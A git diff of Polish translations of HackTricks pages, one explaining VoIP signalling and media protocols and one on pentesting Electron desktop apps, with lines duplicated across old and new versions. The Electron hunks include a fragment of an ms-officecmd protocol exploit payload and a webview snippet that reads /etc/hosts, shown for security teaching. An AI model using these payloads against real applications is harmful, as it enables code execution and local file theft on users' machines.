1. **Agent połączeń lub Kontroler bramy multimedialnej (MGC)**: Główna brama w architekturze MGCP jest odpowiedzialna za **zarządzanie i kontrolowanie bram multimedialnych**. Obsługuje procesy zestawiania, modyfikacji i zakończenia połączeń. MGC komunikuje się z bramami multimedialnymi za pomocą protokołu MGCP.
|
||||
2. **Bramy multimedialne (MG) lub bramy podrzędne**: Te urządzenia **konwertują cyfrowe strumienie multimedialne między różnymi sieciami**, takimi jak tradycyjna telefonia przełączana obwodowo i sieci IP przełączane pakietowo. Są zarządzane przez MGC i wykonują polecenia otrzymane od niego. Bramki multimedialne mogą zawierać funkcje takie jak transkodowanie, pakietowanie i eliminacja echa.
|
||||
3. **Bramy sygnalizacyjne (SG)**: Te bramy są odpowiedzialne za **konwersję wiadomości sygnalizacyjnych między różnymi sieciami**, umożliwiając płynną komunikację między tradycyjnymi systemami telefonicznymi (np. SS7) a sieciami opartymi na IP (np. SIP lub H.323). Bramy sygnalizacyjne są kluczowe dla interoperacyjności i zapewnienia, że informacje o kontroli połączeń są prawidłowo komunikowane między różnymi sieciami.
|
||||
3. **Bramy sygnalizacyjne (SG)**: Te bramy są odpowiedzialne za **konwersję wiadomości sygnalizacyjnych między różnymi sieciami**, umożliwiając płynną komunikację między tradycyjnymi systemami telefonicznymi (np. SS7) a sieciami opartymi na IP (np. SIP lub H.323). Bramki sygnalizacyjne są kluczowe dla interoperacyjności i zapewnienia, że informacje o kontroli połączeń są prawidłowo komunikowane między różnymi sieciami.
|
||||
|
||||
Podsumowując, MGCP centralizuje logikę kontroli połączeń w agencie połączeń, co upraszcza zarządzanie bramami multimedialnymi i sygnalizacyjnymi, zapewniając lepszą skalowalność, niezawodność i wydajność w sieciach telekomunikacyjnych.
|
||||
|
||||
### SCCP (Skinny Client Control Protocol)
|
||||
### SCCP (Protokół kontroli klienta typu Skinny)
|
||||
|
||||
Skinny Client Control Protocol (SCCP) to **proprietarny protokół sygnalizacyjny i kontroli połączeń** należący do Cisco Systems. Jest głównie **używany** do komunikacji między **Cisco Unified Communications Manager** (wcześniej znanym jako CallManager) a telefonami IP Cisco lub innymi punktami końcowymi głosowymi i wideo Cisco.
|
||||
Protokół kontroli klienta typu Skinny (SCCP) to **proprietarny protokół sygnalizacyjny i kontroli połączeń** należący do Cisco Systems. Jest głównie **używany** do komunikacji między **Cisco Unified Communications Manager** (wcześniej znanym jako CallManager) a telefonami IP Cisco lub innymi punktami końcowymi głosowymi i wideo Cisco.
|
||||
|
||||
SCCP to lekki protokół, który upraszcza komunikację między serwerem kontroli połączeń a urządzeniami końcowymi. Nazywa się go "Skinny" ze względu na jego minimalistyczny design i zmniejszone wymagania dotyczące przepustowości w porównaniu do innych protokołów VoIP, takich jak H.323 czy SIP.
|
||||
|
||||
Główne komponenty systemu opartego na SCCP to:
|
||||
|
||||
1. **Serwer kontroli połączeń**: Ten serwer, zazwyczaj Cisco Unified Communications Manager, zarządza procesami zestawiania, modyfikacji i zakończenia połączeń, a także innymi funkcjami telekomunikacyjnymi, takimi jak przekazywanie połączeń, transfer połączeń i wstrzymywanie połączeń.
|
||||
2. **Punkty końcowe SCCP**: To urządzenia takie jak telefony IP, jednostki wideokonferencyjne lub inne punkty końcowe głosowe i wideo Cisco, które używają SCCP do komunikacji z serwerem kontroli połączeń. Rejestrują się w serwerze, wysyłają i odbierają wiadomości sygnalizacyjne oraz wykonują instrukcje dostarczone przez serwer kontroli połączeń w celu obsługi połączeń.
|
||||
2. **Punkty końcowe SCCP**: To urządzenia takie jak telefony IP, jednostki wideokonferencyjne lub inne punkty końcowe głosowe i wideo Cisco, które używają SCCP do komunikacji z serwerem kontroli połączeń. Rejestrują się w serwerze, wysyłają i odbierają wiadomości sygnalizacyjne oraz wykonują instrukcje dostarczone przez serwer kontroli połączeń w zakresie obsługi połączeń.
|
||||
3. **Bramy**: Te urządzenia, takie jak bramy głosowe lub bramy multimedialne, są odpowiedzialne za konwersję strumieni multimedialnych między różnymi sieciami, takimi jak tradycyjna telefonia przełączana obwodowo i sieci IP przełączane pakietowo. Mogą również zawierać dodatkowe funkcje, takie jak transkodowanie lub eliminacja echa.
|
||||
|
||||
SCCP oferuje prostą i wydajną metodę komunikacji między serwerami kontroli połączeń Cisco a urządzeniami końcowymi. Warto jednak zauważyć, że **SCCP jest protokołem proprietarnym**, co może ograniczać interoperacyjność z systemami nie-Cisco. W takich przypadkach inne standardowe protokoły VoIP, takie jak SIP, mogą być bardziej odpowiednie.
|
||||
|
@ -68,24 +54,24 @@ SCCP oferuje prostą i wydajną metodę komunikacji między serwerami kontroli p
|
|||
|
||||
H.323 to **zestaw protokołów** do komunikacji multimedialnej, w tym głosu, wideo i konferencji danych w sieciach przełączanych pakietowo, takich jak sieci oparte na IP. Został opracowany przez **Międzynarodową Unię Telekomunikacyjną** (ITU-T) i zapewnia kompleksowy framework do zarządzania sesjami komunikacji multimedialnej.
|
||||
|
||||
Niektóre kluczowe komponenty zestawu H.323 to:
|
||||
Niektóre kluczowe komponenty zestawu H.323 obejmują:
|
||||
|
||||
1. **Terminale**: To urządzenia końcowe, takie jak telefony IP, systemy wideokonferencyjne lub aplikacje programowe, które obsługują H.323 i mogą uczestniczyć w sesjach komunikacji multimedialnej.
|
||||
2. **Bramy**: Te urządzenia konwertują strumienie multimedialne między różnymi sieciami, takimi jak tradycyjna telefonia przełączana obwodowo i sieci IP przełączane pakietowo, umożliwiając interoperacyjność między H.323 a innymi systemami komunikacyjnymi. Mogą również zawierać dodatkowe funkcje, takie jak transkodowanie lub eliminacja echa.
|
||||
3. **Gatekeeperzy**: To opcjonalne komponenty, które zapewniają usługi kontroli i zarządzania połączeniami w sieci H.323. Wykonują funkcje takie jak tłumaczenie adresów, zarządzanie przepustowością i kontrola dostępu, pomagając w zarządzaniu i optymalizacji zasobów sieciowych.
|
||||
4. **Jednostki Kontroli Multipoint (MCU)**: Te urządzenia ułatwiają konferencje multipoint, zarządzając i miksując strumienie multimedialne z wielu punktów końcowych. MCU umożliwiają funkcje takie jak kontrola układu wideo, przełączanie aktywowane głosem i ciągła obecność, co umożliwia organizowanie konferencji na dużą skalę z wieloma uczestnikami.
|
||||
3. **Brama kontrolna**: To opcjonalne komponenty, które zapewniają usługi kontroli i zarządzania połączeniami w sieci H.323. Wykonują funkcje takie jak tłumaczenie adresów, zarządzanie przepustowością i kontrola dostępu, pomagając w zarządzaniu i optymalizacji zasobów sieciowych.
|
||||
4. **Jednostki kontroli multipoint (MCU)**: Te urządzenia ułatwiają konferencje multipoint, zarządzając i miksując strumienie multimedialne z wielu punktów końcowych. MCU umożliwiają funkcje takie jak kontrola układu wideo, przełączanie aktywowane głosem i ciągła obecność, co umożliwia organizowanie dużych konferencji z wieloma uczestnikami.
|
||||
|
||||
H.323 obsługuje szereg kodeków audio i wideo, a także inne usługi dodatkowe, takie jak przekazywanie połączeń, transfer połączeń, wstrzymywanie połączeń i oczekiwanie na połączenie. Pomimo szerokiego zastosowania w początkowych dniach VoIP, H.323 stopniowo został zastąpiony przez nowocześniejsze i bardziej elastyczne protokoły, takie jak **Session Initiation Protocol (SIP)**, które oferują lepszą interoperacyjność i łatwiejszą implementację. Niemniej jednak H.323 pozostaje w użyciu w wielu systemach starszej generacji i nadal jest wspierany przez różnych dostawców sprzętu.
|
||||
H.323 obsługuje szereg kodeków audio i wideo, a także inne usługi dodatkowe, takie jak przekazywanie połączeń, transfer połączeń, wstrzymywanie połączeń i oczekiwanie na połączenie. Pomimo szerokiego zastosowania w początkowych dniach VoIP, H.323 stopniowo został zastąpiony przez nowocześniejsze i bardziej elastyczne protokoły, takie jak **Protokół inicjacji sesji (SIP)**, który oferuje lepszą interoperacyjność i łatwiejszą implementację. Niemniej jednak H.323 pozostaje w użyciu w wielu systemach starszej generacji i nadal jest wspierany przez różnych dostawców sprzętu.
|
||||
|
||||
### IAX (Inter Asterisk eXchange)
|
||||
|
||||
IAX (Inter-Asterisk eXchange) to **protokół sygnalizacyjny i kontroli połączeń** głównie używany do komunikacji między serwerami Asterisk PBX (Private Branch Exchange) a innymi urządzeniami VoIP. Został opracowany przez Marka Spencera, twórcę oprogramowania Asterisk open-source PBX, jako alternatywa dla innych protokołów VoIP, takich jak SIP i H.323.
|
||||
IAX (Inter-Asterisk eXchange) to **protokół sygnalizacyjny i kontroli połączeń**, głównie używany do komunikacji między serwerami Asterisk PBX (Prywatna Centrala Telefoniczna) a innymi urządzeniami VoIP. Został opracowany przez Marka Spencera, twórcę oprogramowania Asterisk open-source PBX, jako alternatywa dla innych protokołów VoIP, takich jak SIP i H.323.
|
||||
|
||||
IAX jest znany z **prostoty, wydajności i łatwości implementacji**. Niektóre kluczowe cechy IAX to:
|
||||
IAX jest znany z **prostoty, wydajności i łatwości implementacji**. Niektóre kluczowe cechy IAX obejmują:
|
||||
|
||||
1. **Pojedynczy port UDP**: IAX używa jednego portu UDP (4569) zarówno do sygnalizacji, jak i ruchu multimedialnego, co upraszcza przechodzenie przez zapory i NAT, ułatwiając wdrożenie w różnych środowiskach sieciowych.
|
||||
1. **Pojedynczy port UDP**: IAX używa jednego portu UDP (4569) zarówno do sygnalizacji, jak i ruchu multimedialnego, co upraszcza przechodzenie przez zapory i NAT, ułatwiając wdrażanie w różnych środowiskach sieciowych.
|
||||
2. **Protokół binarny**: W przeciwieństwie do protokołów opartych na tekście, takich jak SIP, IAX jest protokołem binarnym, co zmniejsza jego zużycie pasma i czyni go bardziej wydajnym w przesyłaniu danych sygnalizacyjnych i multimedialnych.
|
||||
3. **Trunking**: IAX obsługuje trunking, co pozwala na łączenie wielu połączeń w jedno połączenie sieciowe, zmniejszając narzuty i poprawiając wykorzystanie pasma.
|
||||
3. **Trunking**: IAX obsługuje trunking, co pozwala na łączenie wielu połączeń w jedno połączenie sieciowe, zmniejszając narzut i poprawiając wykorzystanie pasma.
|
||||
4. **Natywne szyfrowanie**: IAX ma wbudowane wsparcie dla szyfrowania, używając metod takich jak RSA do wymiany kluczy i AES do szyfrowania mediów, zapewniając bezpieczną komunikację między punktami końcowymi.
|
||||
5. **Komunikacja peer-to-peer**: IAX może być używany do bezpośredniej komunikacji między punktami końcowymi bez potrzeby centralnego serwera, co umożliwia prostsze i bardziej wydajne routowanie połączeń.
|
||||
|
||||
|
@ -93,43 +79,48 @@ Pomimo swoich zalet, IAX ma pewne ograniczenia, takie jak główny nacisk na eko
|
|||
|
||||
## Protokoły transmisji i transportu
|
||||
|
||||
### SDP (Session Description Protocol)
|
||||
### SDP (Protokół opisu sesji)
|
||||
|
||||
SDP (Session Description Protocol) to **format oparty na tekście** używany do opisywania cech sesji multimedialnych, takich jak głos, wideo lub konferencje danych, w sieciach IP. Został opracowany przez **Internet Engineering Task Force (IETF)** i jest zdefiniowany w **RFC 4566**. SDP nie obsługuje rzeczywistej transmisji mediów ani ustanawiania sesji, ale jest używany w połączeniu z innymi protokołami sygnalizacyjnymi, takimi jak **SIP (Session Initiation Protocol)**, do negocjowania i wymiany informacji o strumieniach mediów i ich atrybutach.
|
||||
SDP (Protokół opisu sesji) to **format oparty na tekście** używany do opisywania cech sesji multimedialnych, takich jak głos, wideo lub konferencje danych, w sieciach IP. Został opracowany przez **Internet Engineering Task Force (IETF)** i jest zdefiniowany w **RFC 4566**. SDP nie obsługuje rzeczywistej transmisji mediów ani ustanawiania sesji, ale jest używany w połączeniu z innymi protokołami sygnalizacyjnymi, takimi jak **SIP (Protokół inicjacji sesji)**, do negocjowania i wymiany informacji o strumieniach mediów i ich atrybutach.
|
||||
|
||||
Niektóre kluczowe elementy SDP to:
|
||||
Niektóre kluczowe elementy SDP obejmują:
|
||||
|
||||
1. **Informacje o sesji**: SDP opisuje szczegóły sesji multimedialnej, w tym nazwę sesji, opis sesji, czas rozpoczęcia i czas zakończenia.
|
||||
2. **Strumienie multimedialne**: SDP definiuje cechy strumieni multimedialnych, takie jak typ mediów (audio, wideo lub tekst), protokół transportowy (np. RTP lub SRTP) oraz format mediów (np. informacje o kodeku).
|
||||
2. **Strumienie mediów**: SDP definiuje cechy strumieni mediów, takie jak typ mediów (audio, wideo lub tekst), protokół transportowy (np. RTP lub SRTP) oraz format mediów (np. informacje o kodeku).
|
||||
3. **Informacje o połączeniu**: SDP dostarcza informacji o adresie sieciowym (adres IP) i numerze portu, na który media powinny być wysyłane lub odbierane.
|
||||
4. **Atrybuty**: SDP wspiera użycie atrybutów do dostarczania dodatkowych, opcjonalnych informacji o sesji lub strumieniu mediów. Atrybuty mogą być używane do określania różnych funkcji, takich jak klucze szyfrowania, wymagania dotyczące przepustowości lub mechanizmy kontroli mediów.
|
||||
|
||||
SDP jest zazwyczaj używane w następującym procesie:
|
||||
SDP jest zazwyczaj używany w następującym procesie:
|
||||
|
||||
1. Strona inicjująca tworzy opis SDP proponowanej sesji multimedialnej, w tym szczegóły strumieni mediów i ich atrybutów.
|
||||
2. Opis SDP jest wysyłany do strony odbierającej, zazwyczaj osadzony w wiadomości protokołu sygnalizacyjnego, takim jak SIP lub RTSP.
|
||||
1. Strona inicjująca tworzy opis SDP proponowanej sesji multimedialnej, w tym szczegóły strumieni mediów i ich atrybuty.
|
||||
2. Opis SDP jest wysyłany do strony odbierającej, zazwyczaj osadzony w wiadomości protokołu sygnalizacyjnego, takiej jak SIP lub RTSP.
|
||||
3. Strona odbierająca przetwarza opis SDP, a w zależności od swoich możliwości, może zaakceptować, odrzucić lub zmodyfikować proponowaną sesję.
|
||||
4. Ostateczny opis SDP jest wysyłany z powrotem do strony inicjującej jako część wiadomości protokołu sygnalizacyjnego, kończąc proces negocjacji.
|
||||
|
||||
Prostota i elastyczność SDP sprawiają, że jest to szeroko przyjęty standard do opisywania sesji multimedialnych w różnych systemach komunikacyjnych, odgrywając kluczową rolę w ustanawianiu i zarządzaniu rzeczywistymi sesjami multimedialnymi w sieciach IP.
|
||||
Prostota i elastyczność SDP sprawiają, że jest to szeroko przyjęty standard do opisywania sesji multimedialnych w różnych systemach komunikacyjnych, odgrywając kluczową rolę w ustanawianiu i zarządzaniu sesjami multimedialnymi w czasie rzeczywistym w sieciach IP.
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP to protokół sieciowy zaprojektowany do dostarczania danych audio i wideo lub innych mediów w czasie rzeczywistym przez sieci IP. Opracowany przez **IETF** i zdefiniowany w **RFC 3550**, RTP jest powszechnie używany z protokołami sygnalizacyjnymi, takimi jak SIP i H.323, aby umożliwić komunikację multimedialną. RTP zapewnia mechanizmy do **synchronizacji**, **sekwencjonowania** i **znacznikowania czasowego** strumieni mediów, pomagając zapewnić płynne i terminowe odtwarzanie mediów.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP to protokół towarzyszący RTP, używany do monitorowania jakości usług (QoS) i dostarczania informacji zwrotnej na temat transmisji strumieni mediów. Zdefiniowany w tym samym **RFC 3550** co RTP, RTCP **okresowo wymienia pakiety kontrolne między uczestnikami sesji RTP**. Dzieli się informacjami takimi jak utrata pakietów, jitter i czas okrążenia, co pomaga w diagnozowaniu i dostosowywaniu się do warunków sieciowych, poprawiając ogólną jakość mediów.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP to rozszerzenie RTP, które zapewnia **szyfrowanie**, **uwierzytelnianie wiadomości** i **ochronę przed powtórkami** dla strumieni mediów, zapewniając bezpieczną transmisję wrażliwych danych audio i wideo. Zdefiniowany w **RFC 3711**, SRTP używa algorytmów kryptograficznych, takich jak AES do szyfrowania i HMAC-SHA1 do uwierzytelniania wiadomości. SRTP jest często używane w połączeniu z bezpiecznymi protokołami sygnalizacyjnymi, takimi jak SIP przez TLS, aby zapewnić bezpieczeństwo end-to-end w komunikacji multimedialnej.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP to protokół uzgadniania kluczy kryptograficznych, który zapewnia **szyfrowanie end-to-end** dla strumieni mediów RTP. Opracowany przez Phila Zimmermanna, twórcę PGP, ZRTP jest opisany w **RFC 6189**. W przeciwieństwie do SRTP, który polega na protokołach sygnalizacyjnych do wymiany kluczy, ZRTP jest zaprojektowany do pracy niezależnie od protokołu sygnalizacyjnego. Używa **wymiany kluczy Diffiego-Hellmana** do ustanowienia wspólnego sekretu między komunikującymi się stronami, bez potrzeby wcześniejszego zaufania lub infrastruktury kluczy publicznych (PKI). ZRTP zawiera również funkcje takie jak **Krótkie Ciągi Uwierzytelniające (SAS)**, aby chronić przed atakami typu man-in-the-middle.
|
||||
1. **RTP (Protokół transportu w czasie rzeczywistym)**: RTP to protokół sieciowy zaprojektowany do dostarczania danych audio i wideo lub innych mediów w czasie rzeczywistym przez sieci IP. Opracowany przez **IETF** i zdefiniowany w **RFC 3550**, RTP jest powszechnie używany z protokołami sygnalizacyjnymi, takimi jak SIP i H.323, aby umożliwić komunikację multimedialną. RTP zapewnia mechanizmy do **synchronizacji**, **sekwencjonowania** i **znacznikowania czasowego** strumieni mediów, pomagając zapewnić płynne i terminowe odtwarzanie mediów.
|
||||
2. **RTCP (Protokół kontroli transportu w czasie rzeczywistym)**: RTCP to protokół towarzyszący RTP, używany do monitorowania jakości usług (QoS) i dostarczania informacji zwrotnej na temat transmisji strumieni mediów. Zdefiniowany w tym samym **RFC 3550** co RTP, RTCP **okresowo wymienia pakiety kontrolne między uczestnikami sesji RTP**. Dzieli się informacjami takimi jak utrata pakietów, jitter i czas okrążenia, co pomaga w diagnozowaniu i dostosowywaniu się do warunków sieciowych, poprawiając ogólną jakość mediów.
|
||||
3. **SRTP (Bezpieczny protokół transportu w czasie rzeczywistym)**: SRTP to rozszerzenie RTP, które zapewnia **szyfrowanie**, **uwierzytelnianie wiadomości** i **ochronę przed powtórkami** dla strumieni mediów, zapewniając bezpieczną transmisję wrażliwych danych audio i wideo. Zdefiniowany w **RFC 3711**, SRTP używa algorytmów kryptograficznych, takich jak AES do szyfrowania i HMAC-SHA1 do uwierzytelniania wiadomości. SRTP jest często używany w połączeniu z bezpiecznymi protokołami sygnalizacyjnymi, takimi jak SIP przez TLS, aby zapewnić bezpieczeństwo end-to-end w komunikacji multimedialnej.
|
||||
4. **ZRTP (Protokół transportu w czasie rzeczywistym Zimmermanna)**: ZRTP to protokół uzgadniania kluczy kryptograficznych, który zapewnia **szyfrowanie end-to-end** dla strumieni mediów RTP. Opracowany przez Phila Zimmermanna, twórcę PGP, ZRTP jest opisany w **RFC 6189**. W przeciwieństwie do SRTP, który polega na protokołach sygnalizacyjnych do wymiany kluczy, ZRTP jest zaprojektowany do pracy niezależnie od protokołu sygnalizacyjnego. Używa **wymiany kluczy Diffiego-Hellmana** do ustanowienia wspólnego sekretu między komunikującymi się stronami, bez potrzeby wcześniejszego zaufania lub infrastruktury kluczy publicznych (PKI). ZRTP zawiera również funkcje takie jak **Krótkie ciągi uwierzytelniające (SAS)**, aby chronić przed atakami typu man-in-the-middle.
|
||||
|
||||
Te protokoły odgrywają istotną rolę w **dostarczaniu i zabezpieczaniu komunikacji multimedialnej w czasie rzeczywistym przez sieci IP**. Podczas gdy RTP i RTCP obsługują rzeczywistą transmisję mediów i monitorowanie jakości, SRTP i ZRTP zapewniają, że przesyłane media są chronione przed podsłuchiwaniem, manipulacją i atakami powtórkowymi.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
<details>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Aplikacje desktopowe Electron
|
||||
# Electron Desktop Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
|
||||
|
||||
Zazwyczaj możesz znaleźć kod aplikacji electron w aplikacji `.asar`, aby uzyskać kod, musisz go wyodrębnić:
|
||||
Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji `.asar`, aby uzyskać kod, musisz go wyodrębnić:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
|
@ -64,9 +51,9 @@ Ustawienia **procesu renderera** mogą być **konfigurowane** w **procesie głó
|
|||
Aplikacja electron **może uzyskać dostęp do urządzenia** za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:
|
||||
|
||||
* **`nodeIntegration`** - jest `wyłączone` domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera.
|
||||
* **`contextIsolation`** - jest `włączone` domyślnie. Jeśli wyłączone, procesy główny i renderer nie są izolowane.
|
||||
* **`contextIsolation`** - jest `włączone` domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane.
|
||||
* **`preload`** - domyślnie puste.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest wyłączone domyślnie. Ograniczy to działania, które NodeJS może wykonać.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest wyłączone domyślnie. Ograniczy działania, które NodeJS może wykonać.
|
||||
* Integracja Node w Workerach
|
||||
* **`nodeIntegrationInSubframes`** - jest `wyłączone` domyślnie.
|
||||
* Jeśli **`nodeIntegration`** jest **włączone**, umożliwi to korzystanie z **interfejsów API Node.js** w stronach internetowych, które są **ładowane w iframe** w aplikacji Electron.
|
||||
|
@ -118,7 +105,7 @@ Zmień konfigurację start-main i dodaj użycie proxy, takiego jak:
|
|||
```
|
||||
## Wstrzykiwanie kodu lokalnego w Electron
|
||||
|
||||
Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod javascript. Sprawdź jak w:
|
||||
Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod JavaScript. Sprawdź jak w:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
|
||||
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
|
@ -184,7 +171,7 @@ Jeśli konteksty nie są izolowane, atakujący może:
|
|||
3. **Wywołać** użycie **nadpisanej funkcji**
|
||||
4. RCE?
|
||||
|
||||
Są 2 miejsca, w których wbudowane metody mogą być nadpisane: W kodzie preload lub w wewnętrznym kodzie Electron:
|
||||
Są 2 miejsca, w których wbudowane metody mogą być nadpisane: w kodzie preload lub w wewnętrznym kodzie Electron:
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
||||
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
||||
|
@ -223,7 +210,7 @@ Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby wdroży
|
|||
|
||||
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
|
||||
|
||||
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnych treści za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do [tego zasobu](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
|
||||
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnej zawartości za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do [tego zasobu](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
|
||||
|
||||
**Przykłady exploitów protokołów Windows obejmują:**
|
||||
```html
|
||||
|
@ -241,7 +228,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
|
|||
```
|
||||
## Odczytywanie plików wewnętrznych: XSS + contextIsolation
|
||||
|
||||
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnie jak `<iframe>`, do odczytu i eksfiltracji lokalnych plików. Przykład pokazany ilustruje, jak wykorzystać tę lukę do odczytania zawartości plików wewnętrznych:
|
||||
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnie jak `<iframe>`, do odczytu i eksfiltracji lokalnych plików. Przykład pokazany ilustruje, jak wykorzystać tę lukę, aby odczytać zawartość plików wewnętrznych:
|
||||
|
||||
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>)
|
||||
|
||||
|
@ -257,11 +244,11 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
|
|||
## **RCE: XSS + Stary Chromium**
|
||||
|
||||
